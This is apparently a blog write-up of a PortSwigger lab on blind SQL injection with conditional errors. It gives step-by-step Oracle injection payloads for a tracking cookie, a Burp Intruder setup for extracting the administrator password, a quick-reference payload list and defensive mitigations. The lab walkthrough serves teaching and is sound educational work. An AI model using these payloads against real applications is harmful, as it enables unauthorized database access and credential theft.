Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Blind SQL injection with conditional errors

Blind SQL injection with conditional errors: Exploit a blind SQL injection in the tracking cookie to extract the administrator password and log in. • PortSwigger • Blind-SQL, SQL injection • blind-sql, sql-injection

2022-09-113 tags
Tags

🎯 Objective

Exploit a blind SQL injection in the tracking cookie to extract the administrator password and log in.


🧩 Scenario Snapshot

  • Vulnerable parameter: TrackingId (cookie)
  • Behavioral signal: The app never changes page content based on boolean results, but it does show a custom error page when the SQL raises an error.
  • DBMS indicators: FROM dual works → Oracle.
  • Exploit primitive: Conditional error via CASE ... THEN TO_CHAR(1/0) ...

🛠️ Tools & Setup

  • Browser + Cookie Editor (or DevTools) to edit cookies.
  • Burp Suite (Intruder handy for automation).
  • Basic understanding of Oracle SQL functions:
    • dual, LENGTH, SUBSTR, TO_CHAR, CASE WHEN.

🔎 Recon & Confirmation

  1. Inject a quote to confirm SQL context:

    http
    Cookie: TrackingId=xyz'

    Result: server returns an error page → input is reaching SQL.

  2. Probe Oracle by forcing a valid subselect:

    http
    Cookie: TrackingId=xyz'||(SELECT 1 FROM dual)||'
    • No error (200 OK) → dual exists → Oracle confirmed.
  3. Prove server executes our subquery by referencing a non-existent table:

    http
    Cookie: TrackingId=xyz'||(SELECT 1 FROM no_such_table)||'
    • Returns error → our subquery is executed server-side.
  4. Check if users exists (safely limiting rows):

    http
    Cookie: TrackingId=xyz'||(SELECT 1 FROM users WHERE ROWNUM=1)||'
    • 200 OK → users table exists.
    • ROWNUM=1 avoids “too many rows” issues when concatenating into a single scalar context.

Why ROWNUM=1? When concatenating into a cookie‑evaluated scalar expression, returning more than one row raises an error. ROWNUM=1 caps the result to at most one row.


💥 Error‑Based Primitive (Oracle)

Use a conditional divide‑by‑zero to turn TRUE into an HTTP 500 (custom error page) and FALSE into 200 OK.

http
Cookie: TrackingId=xyz'||(
  SELECT CASE WHEN (1=1)
         THEN TO_CHAR(1/0)    -- force error
         ELSE ''
       END
  FROM dual
)||'
  • Condition TRUE → error (HTTP 500 / custom error page)
  • Condition FALSE → no error (200 OK)

Sanity check:

http
-- TRUE branch → error
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

-- FALSE branch → OK
'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

✅ Existence Test — administrator

Check whether the user exists by pushing the error only if the row is present:

http
Cookie: TrackingId=xyz'||(
  SELECT CASE WHEN (1=1)
         THEN TO_CHAR(1/0)
         ELSE ''
       END
  FROM users
  WHERE username='administrator' AND ROWNUM=1
)||'
  • HTTP 500 → administrator exists.

If the row doesn’t exist, the subquery returns no rows → the outer concatenation receives NULL → no error.


📏 Length Discovery (Password)

Binary/iterative probe to find password length:

Template

http
Cookie: TrackingId=xyz'||(
  SELECT CASE WHEN LENGTH(password) > N
         THEN TO_CHAR(1/0) ELSE '' END
  FROM users WHERE username='administrator'
)||'
  • Increase N until the response stops erroring.
  • In this lab, iterations showed the cutoff at 20, implying:
    • LENGTH(password) = 20

Use Burp Intruder Sniper with payload list 0..40 to find the threshold. Sort by Status or Length; errors will stand out.


🔤 Character Extraction (Position + Brute Force)

Extract characters one by one using SUBSTR(password,pos,1):

Manual Template

http
Cookie: TrackingId=xyz'||(
  SELECT CASE
           WHEN SUBSTR(password, {POS}, 1) = '{CHAR}'
           THEN TO_CHAR(1/0)
           ELSE ''
         END
  FROM users WHERE username='administrator'
)||'

Burp Intruder (Cluster Bomb)

  • Payload 1 (POS): numbers 1..20 (password length)
  • Payload 2 (CHAR): alphanumerics (e.g., a-zA-Z0-9) or a custom wordlist

Mark positions:

text
'||(SELECT CASE WHEN SUBSTR(password, §POS§, 1)='§CHR§'
THEN TO_CHAR(1/0) ELSE '' END
FROM users WHERE username='administrator')||'
  • Sort on Status/Length/Grep-Error to spot the erroring cases.
  • For each POS, the one CHR that causes an error is the correct character.

🧾 Result

From automated extraction, the password recovered was:

text
9z8g603lu7ppi3yuix6l

Log in as administrator with the recovered password to solve the lab.


🧠 Why This Works (Oracle Nuances)

  • The app reflects cookie value inside a SQL expression.
  • We concatenate our subselect: '||(SELECT ...)||'
  • CASE WHEN ... THEN TO_CHAR(1/0) reliably throws on TRUE (Oracle raises ORA-01476: divisor is equal to zero), which maps to the app’s custom error page / HTTP 500.
  • Blind channel: We don’t see SQL output, but we do observe binary behavior (error vs no error), enough to reconstruct data.

🧯 Mitigations (Defender’s Notes)

  • Parameterized queries / prepared statements for all cookie‑sourced input.
  • Whitelist cookie format; reject non‑conforming values early.
  • Use least privilege DB accounts; remove SELECT on sensitive tables from app role.
  • Centralized error handling that normalizes all DB errors into the same response.
  • Consider WAF only as a secondary control; do not rely on signatures alone.

📎 Quick Reference Payloads

Existence (table):

http
'||(SELECT 1 FROM users WHERE ROWNUM=1)||'

Conditional error primitive:

http
'||(SELECT CASE WHEN (CONDITION) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

User exists:

http
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END
FROM users WHERE username='administrator' AND ROWNUM=1)||'

Length probe:

http
'||(SELECT CASE WHEN LENGTH(password)>N THEN TO_CHAR(1/0) ELSE '' END
FROM users WHERE username='administrator')||'

Char-at-position:

http
'||(SELECT CASE WHEN SUBSTR(password,POS,1)='X' THEN TO_CHAR(1/0) ELSE '' END
FROM users WHERE username='administrator')||'

🖼️ Screenshots (As Referenced)

  • Injection confirmation:
    Confirm SQL context
  • Oracle confirmed with dual:
    Oracle via dual
  • Non-existent table error:
    No such table
  • users table existence test:
    Users table exists
  • Triggering conditional error:
    Case/Divide-by-zero
  • Length probing and extraction runs:
    Length probe First char Cluster bomb setup Payload sets Payload sets 2 Sorted 500s
  • Final login success:
    Solved

🧪 Verification Checklist

  • SQL context confirmed (quote breaks query)
  • Oracle confirmed (dual works)
  • Error primitive validated (TRUE→error / FALSE→OK)
  • users exists
  • administrator exists
  • Password length identified
  • All characters extracted
  • Login as administrator successful

Author’s note: Mirrors your established ENHANCED structure (Objective → Scenario → Tools → Recon → Primitive → Exploit Steps → Result → Why it Works → Mitigations → Quick Ref → Screenshots → Checklist). Tweak section names as you prefer and I’ll keep future posts identical.

Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 Scenario Snapshot
  3. 03🛠️ Tools & Setup
  4. 04🔎 Recon & Confirmation
  5. 05💥 Error‑Based Primitive (Oracle)
  6. 06✅ Existence Test — administrator
  7. 07📏 Length Discovery (Password)
  8. 08🔤 Character Extraction (Position + Brute Force)
  9. 09Manual Template
  10. 10Burp Intruder (Cluster Bomb)
  11. 11🧾 Result
  12. 12🧠 Why This Works (Oracle Nuances)
  13. 13🧯 Mitigations (Defender’s Notes)
  14. 14📎 Quick Reference Payloads
  15. 15🖼️ Screenshots (As Referenced)
  16. 16🧪 Verification Checklist
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.